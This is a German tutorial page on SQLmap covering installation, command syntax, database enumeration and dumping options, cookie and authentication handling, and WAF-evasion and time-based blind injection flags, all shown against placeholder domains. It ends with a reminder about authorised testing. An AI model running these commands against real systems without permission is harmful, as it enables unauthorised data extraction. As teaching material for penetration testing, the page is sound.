SQLmap

Einführung in SQLmap

SQLmap ist ein Open-Source-Penetrationstest-Tool, das SQL-Injection-Schwachstellen in Webanwendungen automatisiert erkennt und ausnutzt. Es unterstützt verschiedene Datenbankverwaltungssysteme (DBMS) wie MySQL, Oracle, PostgreSQL, Microsoft SQL Server und viele andere. Mit SQLmap können Sicherheitsexperten schnell und effizient potenzielle Sicherheitslücken identifizieren und adressieren.

Installation

SQLmap kann auf verschiedenen Betriebssystemen installiert werden, darunter Linux, Windows und macOS.

Installation unter Linux

# Klonen des offiziellen SQLmap-Repositorys
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap

Installation unter Windows

  1. Laden Sie das neueste Paket von der offiziellen SQLmap-Website herunter.
  2. Entpacken Sie die Dateien an einem gewünschten Ort.

Grundlegende Nutzung

Die grundlegende Verwendung von SQLmap erfolgt über die Kommandozeile mit verschiedenen Parametern.

Syntax

python sqlmap.py -u URL [Optionen]

Beispiel

Überprüfung einer anfälligen Seite:

python sqlmap.py -u "http://www.beispielseite.com/index.php?id=1"

Wichtige Optionen

  • -u: Gibt die Ziel-URL an.
  • --dbs: Listet alle verfügbaren Datenbanken auf.
  • -D: Wählt eine spezifische Datenbank aus.
  • --tables: Listet die Tabellen der ausgewählten Datenbank auf.
  • -T: Wählt eine spezifische Tabelle aus.
  • --columns: Listet die Spalten der ausgewählten Tabelle auf.
  • --dump: Extrahiert die Daten aus der ausgewählten Tabelle oder Datenbank.

Erweiterte Funktionen

Angabe von Parametern

Wenn die zu testenden Parameter nicht in der URL enthalten sind, können sie mit --data angegeben werden.

python sqlmap.py -u "http://www.beispielseite.com/login.php" --data="Benutzer=admin&PASSWORT=1234"

Um Session-Cookies zu verwenden oder zu manipulieren:

python sqlmap.py -u "http://www.beispielseite.com" --cookie="PHPSESSID=abcdef1234567890"

Authentifizierung

Für geschützte Bereiche kann HTTP- (Basic, Digest) oder NTLM-Authentifizierung verwendet werden:

python sqlmap.py -u "http://www.beispielseite.com" --auth-type=basic --auth-cred="Benutzer:Passwort"

Proxy-Unterstützung

Leiten Sie den Traffic über einen Proxy:

python sqlmap.py -u "http://www.beispielseite.com" --proxy="http://127.0.0.1:8080"

Verteidigungsmechanismen umgehen

SQLmap verfügt über Mechanismen, um WAFs (Web Application Firewalls) und andere Sicherheitsmaßnahmen zu umgehen.

Randomisierung der User-Agent

python sqlmap.py -u "http://www.beispielseite.com" --random-agent

Zeitbasierte Angriffe

Bei Blind-SQL-Injections kann die Zeitverzögerung angepasst werden:

python sqlmap.py -u "http://www.beispielseite.com" --technique=T --time-sec=10

Tipps und Tricks

  • Batch-Modus: Beantwortet alle Eingabeaufforderungen automatisch mit den Standardwerten.

    python sqlmap.py -u "http://www.beispielseite.com" --batch
  • Verbesserte Ausgabe: Erhöhen Sie das Verbositätslevel für detailliertere Informationen.

    python sqlmap.py -u "http://www.beispielseite.com" -v 3
  • Threads nutzen: Beschleunigen Sie den Scanprozess durch parallele Anfragen.

    python sqlmap.py -u "http://www.beispielseite.com" --threads=10

Beschränkungen und Verantwortung

Der Einsatz von SQLmap sollte ausschließlich zu autorisierten Sicherheitstests und mit Zustimmung der Eigentümer erfolgen. Unautorisiertes Testen kann rechtliche Konsequenzen nach sich ziehen.

Tags

SQLmapSQLInjectionSicherheitstestPenetrationstestCyberSecurityDatenbankSicherheitWebSicherheitHackingToolsITSecurityOpenSource

Gehacktes-Overview